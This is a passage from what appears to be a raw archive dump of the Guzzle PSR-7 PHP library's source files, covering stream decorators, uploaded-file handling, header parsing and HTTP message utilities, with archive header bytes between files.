                break;
            }
        }
    }

    /**
     * Reads from all of the appended streams until the length is met or EOF.
     */
    public function read($length): string
    {
        $buffer = '';
        $total = count($this->streams) - 1;
        $remaining = $length;
        $progressToNext = false;

        while ($remaining > 0) {
            // Progress to the next stream if needed.
            if ($progressToNext || $this->streams[$this->current]->eof()) {
                $progressToNext = false;
                if ($this->current === $total) {
                    break;
                }
                ++$this->current;
            }

            $result = $this->streams[$this->current]->read($remaining);

            if ($result === '') {
                $progressToNext = true;
                continue;
            }

            $buffer .= $result;
            $remaining = $length - strlen($buffer);
        }

        $this->pos += strlen($buffer);

        return $buffer;
    }

    public function isReadable(): bool
    {
        return true;
    }

    public function isWritable(): bool
    {
        return false;
    }

    public function isSeekable(): bool
    {
        return $this->seekable;
    }

    public function write($string): int
    {
        throw new \RuntimeException('Cannot write to an AppendStream');
    }

    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        return $key ? null : [];
    }
}
PK
h�\�+vendor/guzzlehttp/psr7/src/NoSeekStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Stream decorator that prevents a stream from being seeked.
 */
final class NoSeekStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var StreamInterface */
    private $stream;

    public function seek($offset, $whence = SEEK_SET): void
    {
        throw new \RuntimeException('Cannot seek a NoSeekStream');
    }

    public function isSeekable(): bool
    {
        return false;
    }
}
PK
h�\�Ӡ+vendor/guzzlehttp/psr7/src/UploadedFile.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use InvalidArgumentException;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Message\UploadedFileInterface;
use RuntimeException;

class UploadedFile implements UploadedFileInterface
{
    private const ERRORS = [
        UPLOAD_ERR_OK,
        UPLOAD_ERR_INI_SIZE,
        UPLOAD_ERR_FORM_SIZE,
        UPLOAD_ERR_PARTIAL,
        UPLOAD_ERR_NO_FILE,
        UPLOAD_ERR_NO_TMP_DIR,
        UPLOAD_ERR_CANT_WRITE,
        UPLOAD_ERR_EXTENSION,
    ];

    /**
     * @var string|null
     */
    private $clientFilename;

    /**
     * @var string|null
     */
    private $clientMediaType;

    /**
     * @var int
     */
    private $error;

    /**
     * @var string|null
     */
    private $file;

    /**
     * @var bool
     */
    private $moved = false;

    /**
     * @var int|null
     */
    private $size;

    /**
     * @var StreamInterface|null
     */
    private $stream;

    /**
     * @param StreamInterface|string|resource $streamOrFile
     */
    public function __construct(
        $streamOrFile,
        ?int $size,
        int $errorStatus,
        string $clientFilename = null,
        string $clientMediaType = null
    ) {
        $this->setError($errorStatus);
        $this->size = $size;
        $this->clientFilename = $clientFilename;
        $this->clientMediaType = $clientMediaType;

        if ($this->isOk()) {
            $this->setStreamOrFile($streamOrFile);
        }
    }

    /**
     * Depending on the value set file or stream variable
     *
     * @param StreamInterface|string|resource $streamOrFile
     *
     * @throws InvalidArgumentException
     */
    private function setStreamOrFile($streamOrFile): void
    {
        if (is_string($streamOrFile)) {
            $this->file = $streamOrFile;
        } elseif (is_resource($streamOrFile)) {
            $this->stream = new Stream($streamOrFile);
        } elseif ($streamOrFile instanceof StreamInterface) {
            $this->stream = $streamOrFile;
        } else {
            throw new InvalidArgumentException(
                'Invalid stream or file provided for UploadedFile'
            );
        }
    }

    /**
     * @throws InvalidArgumentException
     */
    private function setError(int $error): void
    {
        if (false === in_array($error, UploadedFile::ERRORS, true)) {
            throw new InvalidArgumentException(
                'Invalid error status for UploadedFile'
            );
        }

        $this->error = $error;
    }

    private static function isStringNotEmpty($param): bool
    {
        return is_string($param) && false === empty($param);
    }

    /**
     * Return true if there is no upload error
     */
    private function isOk(): bool
    {
        return $this->error === UPLOAD_ERR_OK;
    }

    public function isMoved(): bool
    {
        return $this->moved;
    }

    /**
     * @throws RuntimeException if is moved or not ok
     */
    private function validateActive(): void
    {
        if (false === $this->isOk()) {
            throw new RuntimeException('Cannot retrieve stream due to upload error');
        }

        if ($this->isMoved()) {
            throw new RuntimeException('Cannot retrieve stream after it has already been moved');
        }
    }

    public function getStream(): StreamInterface
    {
        $this->validateActive();

        if ($this->stream instanceof StreamInterface) {
            return $this->stream;
        }

        /** @var string $file */
        $file = $this->file;

        return new LazyOpenStream($file, 'r+');
    }

    public function moveTo($targetPath): void
    {
        $this->validateActive();

        if (false === self::isStringNotEmpty($targetPath)) {
            throw new InvalidArgumentException(
                'Invalid path provided for move operation; must be a non-empty string'
            );
        }

        if ($this->file) {
            $this->moved = PHP_SAPI === 'cli'
                ? rename($this->file, $targetPath)
                : move_uploaded_file($this->file, $targetPath);
        } else {
            Utils::copyToStream(
                $this->getStream(),
                new LazyOpenStream($targetPath, 'w')
            );

            $this->moved = true;
        }

        if (false === $this->moved) {
            throw new RuntimeException(
                sprintf('Uploaded file could not be moved to %s', $targetPath)
            );
        }
    }

    public function getSize(): ?int
    {
        return $this->size;
    }

    public function getError(): int
    {
        return $this->error;
    }

    public function getClientFilename(): ?string
    {
        return $this->clientFilename;
    }

    public function getClientMediaType(): ?string
    {
        return $this->clientMediaType;
    }
}
PK
h�\EGO���*vendor/guzzlehttp/psr7/src/LimitStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Decorator used to return only a subset of a stream.
 */
final class LimitStream implements StreamInterface
{
    use StreamDecoratorTrait;

    /** @var int Offset to start reading from */
    private $offset;

    /** @var int Limit the number of bytes that can be read */
    private $limit;

    /** @var StreamInterface */
    private $stream;

    /**
     * @param StreamInterface $stream Stream to wrap
     * @param int             $limit  Total number of bytes to allow to be read
     *                                from the stream. Pass -1 for no limit.
     * @param int             $offset Position to seek to before reading (only
     *                                works on seekable streams).
     */
    public function __construct(
        StreamInterface $stream,
        int $limit = -1,
        int $offset = 0
    ) {
        $this->stream = $stream;
        $this->setLimit($limit);
        $this->setOffset($offset);
    }

    public function eof(): bool
    {
        // Always return true if the underlying stream is EOF
        if ($this->stream->eof()) {
            return true;
        }

        // No limit and the underlying stream is not at EOF
        if ($this->limit === -1) {
            return false;
        }

        return $this->stream->tell() >= $this->offset + $this->limit;
    }

    /**
     * Returns the size of the limited subset of data
     */
    public function getSize(): ?int
    {
        if (null === ($length = $this->stream->getSize())) {
            return null;
        } elseif ($this->limit === -1) {
            return $length - $this->offset;
        } else {
            return min($this->limit, $length - $this->offset);
        }
    }

    /**
     * Allow for a bounded seek on the read limited stream
     */
    public function seek($offset, $whence = SEEK_SET): void
    {
        if ($whence !== SEEK_SET || $offset < 0) {
            throw new \RuntimeException(sprintf(
                'Cannot seek to offset %s with whence %s',
                $offset,
                $whence
            ));
        }

        $offset += $this->offset;

        if ($this->limit !== -1) {
            if ($offset > $this->offset + $this->limit) {
                $offset = $this->offset + $this->limit;
            }
        }

        $this->stream->seek($offset);
    }

    /**
     * Give a relative tell()
     */
    public function tell(): int
    {
        return $this->stream->tell() - $this->offset;
    }

    /**
     * Set the offset to start limiting from
     *
     * @param int $offset Offset to seek to and begin byte limiting from
     *
     * @throws \RuntimeException if the stream cannot be seeked.
     */
    public function setOffset(int $offset): void
    {
        $current = $this->stream->tell();

        if ($current !== $offset) {
            // If the stream cannot seek to the offset position, then read to it
            if ($this->stream->isSeekable()) {
                $this->stream->seek($offset);
            } elseif ($current > $offset) {
                throw new \RuntimeException("Could not seek to stream offset $offset");
            } else {
                $this->stream->read($offset - $current);
            }
        }

        $this->offset = $offset;
    }

    /**
     * Set the limit of bytes that the decorator allows to be read from the
     * stream.
     *
     * @param int $limit Number of bytes to allow to be read from the stream.
     *                   Use -1 for no limit.
     */
    public function setLimit(int $limit): void
    {
        $this->limit = $limit;
    }

    public function read($length): string
    {
        if ($this->limit === -1) {
            return $this->stream->read($length);
        }

        // Check if the current position is less than the total allowed
        // bytes + original offset
        $remaining = ($this->offset + $this->limit) - $this->stream->tell();
        if ($remaining > 0) {
            // Only return the amount of requested data, ensuring that the byte
            // limit is not exceeded
            return $this->stream->read(min($remaining, $length));
        }

        return '';
    }
}
PK
h�\�P���<�<$vendor/guzzlehttp/psr7/src/Utils.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ServerRequestInterface;
use Psr\Http\Message\StreamInterface;
use Psr\Http\Message\UriInterface;

final class Utils
{
    /**
     * Remove the items given by the keys, case insensitively from the data.
     *
     * @param (string|int)[] $keys
     */
    public static function caselessRemove(array $keys, array $data): array
    {
        $result = [];

        foreach ($keys as &$key) {
            $key = strtolower((string) $key);
        }

        foreach ($data as $k => $v) {
            if (!in_array(strtolower((string) $k), $keys)) {
                $result[$k] = $v;
            }
        }

        return $result;
    }

    /**
     * Copy the contents of a stream into another stream until the given number
     * of bytes have been read.
     *
     * @param StreamInterface $source Stream to read from
     * @param StreamInterface $dest   Stream to write to
     * @param int             $maxLen Maximum number of bytes to read. Pass -1
     *                                to read the entire stream.
     *
     * @throws \RuntimeException on error.
     */
    public static function copyToStream(StreamInterface $source, StreamInterface $dest, int $maxLen = -1): void
    {
        $bufferSize = 8192;

        if ($maxLen === -1) {
            while (!$source->eof()) {
                if (!$dest->write($source->read($bufferSize))) {
                    break;
                }
            }
        } else {
            $remaining = $maxLen;
            while ($remaining > 0 && !$source->eof()) {
                $buf = $source->read(min($bufferSize, $remaining));
                $len = strlen($buf);
                if (!$len) {
                    break;
                }
                $remaining -= $len;
                $dest->write($buf);
            }
        }
    }

    /**
     * Copy the contents of a stream into a string until the given number of
     * bytes have been read.
     *
     * @param StreamInterface $stream Stream to read
     * @param int             $maxLen Maximum number of bytes to read. Pass -1
     *                                to read the entire stream.
     *
     * @throws \RuntimeException on error.
     */
    public static function copyToString(StreamInterface $stream, int $maxLen = -1): string
    {
        $buffer = '';

        if ($maxLen === -1) {
            while (!$stream->eof()) {
                $buf = $stream->read(1048576);
                if ($buf === '') {
                    break;
                }
                $buffer .= $buf;
            }

            return $buffer;
        }

        $len = 0;
        while (!$stream->eof() && $len < $maxLen) {
            $buf = $stream->read($maxLen - $len);
            if ($buf === '') {
                break;
            }
            $buffer .= $buf;
            $len = strlen($buffer);
        }

        return $buffer;
    }

    /**
     * Calculate a hash of a stream.
     *
     * This method reads the entire stream to calculate a rolling hash, based
     * on PHP's `hash_init` functions.
     *
     * @param StreamInterface $stream    Stream to calculate the hash for
     * @param string          $algo      Hash algorithm (e.g. md5, crc32, etc)
     * @param bool            $rawOutput Whether or not to use raw output
     *
     * @throws \RuntimeException on error.
     */
    public static function hash(StreamInterface $stream, string $algo, bool $rawOutput = false): string
    {
        $pos = $stream->tell();

        if ($pos > 0) {
            $stream->rewind();
        }

        $ctx = hash_init($algo);
        while (!$stream->eof()) {
            hash_update($ctx, $stream->read(1048576));
        }

        $out = hash_final($ctx, $rawOutput);
        $stream->seek($pos);

        return $out;
    }

    /**
     * Clone and modify a request with the given changes.
     *
     * This method is useful for reducing the number of clones needed to mutate
     * a message.
     *
     * The changes can be one of:
     * - method: (string) Changes the HTTP method.
     * - set_headers: (array) Sets the given headers.
     * - remove_headers: (array) Remove the given headers.
     * - body: (mixed) Sets the given body.
     * - uri: (UriInterface) Set the URI.
     * - query: (string) Set the query string value of the URI.
     * - version: (string) Set the protocol version.
     *
     * @param RequestInterface $request Request to clone and modify.
     * @param array            $changes Changes to apply.
     */
    public static function modifyRequest(RequestInterface $request, array $changes): RequestInterface
    {
        if (!$changes) {
            return $request;
        }

        $headers = $request->getHeaders();

        if (!isset($changes['uri'])) {
            $uri = $request->getUri();
        } else {
            // Remove the host header if one is on the URI
            if ($host = $changes['uri']->getHost()) {
                $changes['set_headers']['Host'] = $host;

                if ($port = $changes['uri']->getPort()) {
                    $standardPorts = ['http' => 80, 'https' => 443];
                    $scheme = $changes['uri']->getScheme();
                    if (isset($standardPorts[$scheme]) && $port != $standardPorts[$scheme]) {
                        $changes['set_headers']['Host'] .= ':'.$port;
                    }
                }
            }
            $uri = $changes['uri'];
        }

        if (!empty($changes['remove_headers'])) {
            $headers = self::caselessRemove($changes['remove_headers'], $headers);
        }

        if (!empty($changes['set_headers'])) {
            $headers = self::caselessRemove(array_keys($changes['set_headers']), $headers);
            $headers = $changes['set_headers'] + $headers;
        }

        if (isset($changes['query'])) {
            $uri = $uri->withQuery($changes['query']);
        }

        if ($request instanceof ServerRequestInterface) {
            $new = (new ServerRequest(
                $changes['method'] ?? $request->getMethod(),
                $uri,
                $headers,
                $changes['body'] ?? $request->getBody(),
                $changes['version'] ?? $request->getProtocolVersion(),
                $request->getServerParams()
            ))
            ->withParsedBody($request->getParsedBody())
            ->withQueryParams($request->getQueryParams())
            ->withCookieParams($request->getCookieParams())
            ->withUploadedFiles($request->getUploadedFiles());

            foreach ($request->getAttributes() as $key => $value) {
                $new = $new->withAttribute($key, $value);
            }

            return $new;
        }

        return new Request(
            $changes['method'] ?? $request->getMethod(),
            $uri,
            $headers,
            $changes['body'] ?? $request->getBody(),
            $changes['version'] ?? $request->getProtocolVersion()
        );
    }

    /**
     * Read a line from the stream up to the maximum allowed buffer length.
     *
     * @param StreamInterface $stream    Stream to read from
     * @param int|null        $maxLength Maximum buffer length
     */
    public static function readLine(StreamInterface $stream, int $maxLength = null): string
    {
        $buffer = '';
        $size = 0;

        while (!$stream->eof()) {
            if ('' === ($byte = $stream->read(1))) {
                return $buffer;
            }
            $buffer .= $byte;
            // Break when a new line is found or the max length - 1 is reached
            if ($byte === "\n" || ++$size === $maxLength - 1) {
                break;
            }
        }

        return $buffer;
    }

    /**
     * Create a new stream based on the input type.
     *
     * Options is an associative array that can contain the following keys:
     * - metadata: Array of custom metadata.
     * - size: Size of the stream.
     *
     * This method accepts the following `$resource` types:
     * - `Psr\Http\Message\StreamInterface`: Returns the value as-is.
     * - `string`: Creates a stream object that uses the given string as the contents.
     * - `resource`: Creates a stream object that wraps the given PHP stream resource.
     * - `Iterator`: If the provided value implements `Iterator`, then a read-only
     *   stream object will be created that wraps the given iterable. Each time the
     *   stream is read from, data from the iterator will fill a buffer and will be
     *   continuously called until the buffer is equal to the requested read size.
     *   Subsequent read calls will first read from the buffer and then call `next`
     *   on the underlying iterator until it is exhausted.
     * - `object` with `__toString()`: If the object has the `__toString()` method,
     *   the object will be cast to a string and then a stream will be returned that
     *   uses the string value.
     * - `NULL`: When `null` is passed, an empty stream object is returned.
     * - `callable` When a callable is passed, a read-only stream object will be
     *   created that invokes the given callable. The callable is invoked with the
     *   number of suggested bytes to read. The callable can return any number of
     *   bytes, but MUST return `false` when there is no more data to return. The
     *   stream object that wraps the callable will invoke the callable until the
     *   number of requested bytes are available. Any additional bytes will be
     *   buffered and used in subsequent reads.
     *
     * @param resource|string|int|float|bool|StreamInterface|callable|\Iterator|null $resource Entity body data
     * @param array{size?: int, metadata?: array}                                    $options  Additional options
     *
     * @throws \InvalidArgumentException if the $resource arg is not valid.
     */
    public static function streamFor($resource = '', array $options = []): StreamInterface
    {
        if (is_scalar($resource)) {
            $stream = self::tryFopen('php://temp', 'r+');
            if ($resource !== '') {
                fwrite($stream, (string) $resource);
                fseek($stream, 0);
            }

            return new Stream($stream, $options);
        }

        switch (gettype($resource)) {
            case 'resource':
                /*
                 * The 'php://input' is a special stream with quirks and inconsistencies.
                 * We avoid using that stream by reading it into php://temp
                 */

                /** @var resource $resource */
                if ((\stream_get_meta_data($resource)['uri'] ?? '') === 'php://input') {
                    $stream = self::tryFopen('php://temp', 'w+');
                    stream_copy_to_stream($resource, $stream);
                    fseek($stream, 0);
                    $resource = $stream;
                }

                return new Stream($resource, $options);
            case 'object':
                /** @var object $resource */
                if ($resource instanceof StreamInterface) {
                    return $resource;
                } elseif ($resource instanceof \Iterator) {
                    return new PumpStream(function () use ($resource) {
                        if (!$resource->valid()) {
                            return false;
                        }
                        $result = $resource->current();
                        $resource->next();

                        return $result;
                    }, $options);
                } elseif (method_exists($resource, '__toString')) {
                    return self::streamFor((string) $resource, $options);
                }
                break;
            case 'NULL':
                return new Stream(self::tryFopen('php://temp', 'r+'), $options);
        }

        if (is_callable($resource)) {
            return new PumpStream($resource, $options);
        }

        throw new \InvalidArgumentException('Invalid resource type: '.gettype($resource));
    }

    /**
     * Safely opens a PHP stream resource using a filename.
     *
     * When fopen fails, PHP normally raises a warning. This function adds an
     * error handler that checks for errors and throws an exception instead.
     *
     * @param string $filename File to open
     * @param string $mode     Mode used to open the file
     *
     * @return resource
     *
     * @throws \RuntimeException if the file cannot be opened
     */
    public static function tryFopen(string $filename, string $mode)
    {
        $ex = null;
        set_error_handler(static function (int $errno, string $errstr) use ($filename, $mode, &$ex): bool {
            $ex = new \RuntimeException(sprintf(
                'Unable to open "%s" using mode "%s": %s',
                $filename,
                $mode,
                $errstr
            ));

            return true;
        });

        try {
            /** @var resource $handle */
            $handle = fopen($filename, $mode);
        } catch (\Throwable $e) {
            $ex = new \RuntimeException(sprintf(
                'Unable to open "%s" using mode "%s": %s',
                $filename,
                $mode,
                $e->getMessage()
            ), 0, $e);
        }

        restore_error_handler();

        if ($ex) {
            /** @var $ex \RuntimeException */
            throw $ex;
        }

        return $handle;
    }

    /**
     * Safely gets the contents of a given stream.
     *
     * When stream_get_contents fails, PHP normally raises a warning. This
     * function adds an error handler that checks for errors and throws an
     * exception instead.
     *
     * @param resource $stream
     *
     * @throws \RuntimeException if the stream cannot be read
     */
    public static function tryGetContents($stream): string
    {
        $ex = null;
        set_error_handler(static function (int $errno, string $errstr) use (&$ex): bool {
            $ex = new \RuntimeException(sprintf(
                'Unable to read stream contents: %s',
                $errstr
            ));

            return true;
        });

        try {
            /** @var string|false $contents */
            $contents = stream_get_contents($stream);

            if ($contents === false) {
                $ex = new \RuntimeException('Unable to read stream contents');
            }
        } catch (\Throwable $e) {
            $ex = new \RuntimeException(sprintf(
                'Unable to read stream contents: %s',
                $e->getMessage()
            ), 0, $e);
        }

        restore_error_handler();

        if ($ex) {
            /** @var $ex \RuntimeException */
            throw $ex;
        }

        return $contents;
    }

    /**
     * Returns a UriInterface for the given value.
     *
     * This function accepts a string or UriInterface and returns a
     * UriInterface for the given value. If the value is already a
     * UriInterface, it is returned as-is.
     *
     * @param string|UriInterface $uri
     *
     * @throws \InvalidArgumentException
     */
    public static function uriFor($uri): UriInterface
    {
        if ($uri instanceof UriInterface) {
            return $uri;
        }

        if (is_string($uri)) {
            return new Uri($uri);
        }

        throw new \InvalidArgumentException('URI must be a string or UriInterface');
    }
}
PK
h�\Ŝ
�~~,vendor/guzzlehttp/psr7/src/UriComparator.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\UriInterface;

/**
 * Provides methods to determine if a modified URL should be considered cross-origin.
 *
 * @author Graham Campbell
 */
final class UriComparator
{
    /**
     * Determines if a modified URL should be considered cross-origin with
     * respect to an original URL.
     */
    public static function isCrossOrigin(UriInterface $original, UriInterface $modified): bool
    {
        if (\strcasecmp($original->getHost(), $modified->getHost()) !== 0) {
            return true;
        }

        if ($original->getScheme() !== $modified->getScheme()) {
            return true;
        }

        if (self::computePort($original) !== self::computePort($modified)) {
            return true;
        }

        return false;
    }

    private static function computePort(UriInterface $uri): int
    {
        $port = $uri->getPort();

        if (null !== $port) {
            return $port;
        }

        return 'https' === $uri->getScheme() ? 443 : 80;
    }

    private function __construct()
    {
        // cannot be instantiated
    }
}
PK
h�\џ�U��&vendor/guzzlehttp/psr7/src/Rfc7230.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

/**
 * @internal
 */
final class Rfc7230
{
    /**
     * Header related regular expressions (based on amphp/http package)
     *
     * Note: header delimiter (\r\n) is modified to \r?\n to accept line feed only delimiters for BC reasons.
     *
     * @see https://github.com/amphp/http/blob/v1.0.1/src/Rfc7230.php#L12-L15
     *
     * @license https://github.com/amphp/http/blob/v1.0.1/LICENSE
     */
    public const HEADER_REGEX = "(^([^()<>@,;:\\\"/[\]?={}\x01-\x20\x7F]++):[ \t]*+((?:[ \t]*+[\x21-\x7E\x80-\xFF]++)*+)[ \t]*+\r?\n)m";
    public const HEADER_FOLD_REGEX = "(\r?\n[ \t]++)";
}
PK
h�\��ee%vendor/guzzlehttp/psr7/src/Header.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

final class Header
{
    /**
     * Parse an array of header values containing ";" separated data into an
     * array of associative arrays representing the header key value pair data
     * of the header. When a parameter does not contain a value, but just
     * contains a key, this function will inject a key with a '' string value.
     *
     * @param string|array $header Header to parse into components.
     */
    public static function parse($header): array
    {
        static $trimmed = "\"'  \n\t\r";
        $params = $matches = [];

        foreach ((array) $header as $value) {
            foreach (self::splitList($value) as $val) {
                $part = [];
                foreach (preg_split('/;(?=([^"]*"[^"]*")*[^"]*$)/', $val) ?: [] as $kvp) {
                    if (preg_match_all('/<[^>]+>|[^=]+/', $kvp, $matches)) {
                        $m = $matches[0];
                        if (isset($m[1])) {
                            $part[trim($m[0], $trimmed)] = trim($m[1], $trimmed);
                        } else {
                            $part[] = trim($m[0], $trimmed);
                        }
                    }
                }
                if ($part) {
                    $params[] = $part;
                }
            }
        }

        return $params;
    }

    /**
     * Converts an array of header values that may contain comma separated
     * headers into an array of headers with no comma separated values.
     *
     * @param string|array $header Header to normalize.
     *
     * @deprecated Use self::splitList() instead.
     */
    public static function normalize($header): array
    {
        $result = [];
        foreach ((array) $header as $value) {
            foreach (self::splitList($value) as $parsed) {
                $result[] = $parsed;
            }
        }

        return $result;
    }

    /**
     * Splits a HTTP header defined to contain a comma-separated list into
     * each individual value. Empty values will be removed.
     *
     * Example headers include 'accept', 'cache-control' and 'if-none-match'.
     *
     * This method must not be used to parse headers that are not defined as
     * a list, such as 'user-agent' or 'set-cookie'.
     *
     * @param string|string[] $values Header value as returned by MessageInterface::getHeader()
     *
     * @return string[]
     */
    public static function splitList($values): array
    {
        if (!\is_array($values)) {
            $values = [$values];
        }

        $result = [];
        foreach ($values as $value) {
            if (!\is_string($value)) {
                throw new \TypeError('$header must either be a string or an array containing strings.');
            }

            $v = '';
            $isQuoted = false;
            $isEscaped = false;
            for ($i = 0, $max = \strlen($value); $i < $max; ++$i) {
                if ($isEscaped) {
                    $v .= $value[$i];
                    $isEscaped = false;

                    continue;
                }

                if (!$isQuoted && $value[$i] === ',') {
                    $v = \trim($v);
                    if ($v !== '') {
                        $result[] = $v;
                    }

                    $v = '';
                    continue;
                }

                if ($isQuoted && $value[$i] === '\\') {
                    $isEscaped = true;
                    $v .= $value[$i];

                    continue;
                }
                if ($value[$i] === '"') {
                    $isQuoted = !$isQuoted;
                    $v .= $value[$i];

                    continue;
                }

                $v .= $value[$i];
            }

            $v = \trim($v);
            if ($v !== '') {
                $result[] = $v;
            }
        }

        return $result;
    }
}
PK
h�\=a����'vendor/guzzlehttp/psr7/src/FnStream.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\StreamInterface;

/**
 * Compose stream implementations based on a hash of functions.
 *
 * Allows for easy testing and extension of a provided stream without needing
 * to create a concrete class for a simple extension point.
 */
#[\AllowDynamicProperties]
final class FnStream implements StreamInterface
{
    private const SLOTS = [
        '__toString', 'close', 'detach', 'rewind',
        'getSize', 'tell', 'eof', 'isSeekable', 'seek', 'isWritable', 'write',
        'isReadable', 'read', 'getContents', 'getMetadata',
    ];

    /** @var array<string, callable> */
    private $methods;

    /**
     * @param array<string, callable> $methods Hash of method name to a callable.
     */
    public function __construct(array $methods)
    {
        $this->methods = $methods;

        // Create the functions on the class
        foreach ($methods as $name => $fn) {
            $this->{'_fn_'.$name} = $fn;
        }
    }

    /**
     * Lazily determine which methods are not implemented.
     *
     * @throws \BadMethodCallException
     */
    public function __get(string $name): void
    {
        throw new \BadMethodCallException(str_replace('_fn_', '', $name)
            .'() is not implemented in the FnStream');
    }

    /**
     * The close method is called on the underlying stream only if possible.
     */
    public function __destruct()
    {
        if (isset($this->_fn_close)) {
            ($this->_fn_close)();
        }
    }

    /**
     * An unserialize would allow the __destruct to run when the unserialized value goes out of scope.
     *
     * @throws \LogicException
     */
    public function __wakeup(): void
    {
        throw new \LogicException('FnStream should never be unserialized');
    }

    /**
     * Adds custom functionality to an underlying stream by intercepting
     * specific method calls.
     *
     * @param StreamInterface         $stream  Stream to decorate
     * @param array<string, callable> $methods Hash of method name to a closure
     *
     * @return FnStream
     */
    public static function decorate(StreamInterface $stream, array $methods)
    {
        // If any of the required methods were not provided, then simply
        // proxy to the decorated stream.
        foreach (array_diff(self::SLOTS, array_keys($methods)) as $diff) {
            /** @var callable $callable */
            $callable = [$stream, $diff];
            $methods[$diff] = $callable;
        }

        return new self($methods);
    }

    public function __toString(): string
    {
        try {
            /** @var string */
            return ($this->_fn___toString)();
        } catch (\Throwable $e) {
            if (\PHP_VERSION_ID >= 70400) {
                throw $e;
            }
            trigger_error(sprintf('%s::__toString exception: %s', self::class, (string) $e), E_USER_ERROR);

            return '';
        }
    }

    public function close(): void
    {
        ($this->_fn_close)();
    }

    public function detach()
    {
        return ($this->_fn_detach)();
    }

    public function getSize(): ?int
    {
        return ($this->_fn_getSize)();
    }

    public function tell(): int
    {
        return ($this->_fn_tell)();
    }

    public function eof(): bool
    {
        return ($this->_fn_eof)();
    }

    public function isSeekable(): bool
    {
        return ($this->_fn_isSeekable)();
    }

    public function rewind(): void
    {
        ($this->_fn_rewind)();
    }

    public function seek($offset, $whence = SEEK_SET): void
    {
        ($this->_fn_seek)($offset, $whence);
    }

    public function isWritable(): bool
    {
        return ($this->_fn_isWritable)();
    }

    public function write($string): int
    {
        return ($this->_fn_write)($string);
    }

    public function isReadable(): bool
    {
        return ($this->_fn_isReadable)();
    }

    public function read($length): string
    {
        return ($this->_fn_read)($length);
    }

    public function getContents(): string
    {
        return ($this->_fn_getContents)();
    }

    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        return ($this->_fn_getMetadata)($key);
    }
}
PK
h�\��N|��>vendor/guzzlehttp/psr7/src/Exception/MalformedUriException.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7\Exception;

use InvalidArgumentException;

/**
 * Exception thrown if a URI cannot be parsed because it's malformed.
 */
class MalformedUriException extends InvalidArgumentException
{
}
PK
h�\J��� � &vendor/guzzlehttp/psr7/src/Message.phpnu�[���<?php

declare(strict_types=1);

namespace GuzzleHttp\Psr7;

use Psr\Http\Message\MessageInterface;
use Psr\Http\Message\RequestInterface;
use Psr\Http\Message\ResponseInterface;

final class Message
{
    /**
     * Returns the string representation of an HTTP message.
     *
     * @param MessageInterface $message Message to convert to a string.
     */
    public static function toString(MessageInterface $message): string
    {
        if ($message instanceof RequestInterface) {
            $msg = trim($message->getMethod().' '
                    .$message->getRequestTarget())
                .' HTTP/'.$message->getProtocolVersion();
            if (!$message->hasHeader('host')) {
                $msg .= "\r\nHost: ".$message->getUri()->getHost();
            }
        } elseif ($message instanceof ResponseInterface) {
            $msg = 'HTTP/'.$message->getProtocolVersion().' '
                .$message->getStatusCode().' '
                .$message->getReasonPhrase();
        } else {
            throw new \InvalidArgumentException('Unknown message type');
        }

        foreach ($message->getHeaders() as $name => $values) {
            if (is_string($name) && strtolower($name) === 'set-cookie') {
                foreach ($values as $value) {
                    $msg .= "\r\n{$name}: ".$value;
                }
            } else {
                $msg .= "\r\n{$name}: ".implode(', ', $values);
            }
        }

        return "{$msg}\r\n\r\n".$message->getBody();
    }

    /**
     * Get a short summary of the message body.
     *
     * Will return `null` if the response is not printable.
     *
     * @param MessageInterface $message    The message to get the body summary
     * @param int              $truncateAt The maximum allowed size of the summary
     */
    public static function bodySummary(MessageInterface $message, int $truncateAt = 120): ?string
    {
        $body = $message->getBody();

        if (!$body->isSeekable() || !$body->isReadable()) {
            return null;
        }

        $size = $body->getSize();

        if ($size === 0) {
            return null;
        }

        $body->rewind();
        $summary = $body->read($truncateAt);
        $body->rewind();

        if ($size > $truncateAt) {
            $summary .= ' (truncated...)';
        }

        // Matches any printable character, including unicode characters:
        // letters, marks, numbers, punctuation, spacing, and separators.
        if (preg_match('/[^\pL\pM\pN\pP\pS\pZ\n\r\t]/u', $summary) !== 0) {
            return null;
        }

        return $summary;
    }

    /**
     * Attempts to rewind a message body and throws an exception on failure.
     *
     * The body of the message will only be rewound if a call to `tell()`
     * returns a value other than `0`.
     *
     * @param MessageInterface $message Message to rewind
     *
     * @throws \RuntimeException
     */
    public static function rewindBody(MessageInterface $message): void
    {
        $body = $message->getBody();

        if ($body->tell()) {
            $body->rewind();
        }
    }

    /**
     * Parses an HTTP message into an associative array.
     *
     * The array contains the "start-line" key containing the start line of
     * the message, "headers" key containing an associative array of header
     * array values, and a "body" key containing the body of the message.
     *
     * @param string $message HTTP request or response to parse.
     */
    public static function parseMessage(string $message): array
    {
        if (!$message) {
            throw new \InvalidArgumentException('Invalid message');
        }

        $message = ltrim($message, "\r\n");

        $messageParts = preg_split("/\r?\n\r?\n/", $message, 2);

        if ($messageParts === false || count($messageParts) !== 2) {
            throw new \InvalidArgumentException('Invalid message: Missing header delimiter');
        }

        [$rawHeaders, $body] = $messageParts;
        $rawHeaders .= "\r\n"; // Put back the delimiter we split previously
        $headerParts = preg_split("/\r?\n/", $rawHeaders, 2);

        if ($headerParts === false || count($headerParts) !== 2) {
            throw new \InvalidArgumentException('Invalid message: Missing status line');
        }

        [$startLine, $rawHeaders] = $headerParts;

        if (preg_match("/(?:^HTTP\/|^[A-Z]+ \S+ HTTP\/)(\d+(?:\.\d+)?)/i", $startLine, $matches) && $matches[1] === '1.0') {
            // Header folding is deprecated for HTTP/1.1, but allowed in HTTP/1.0
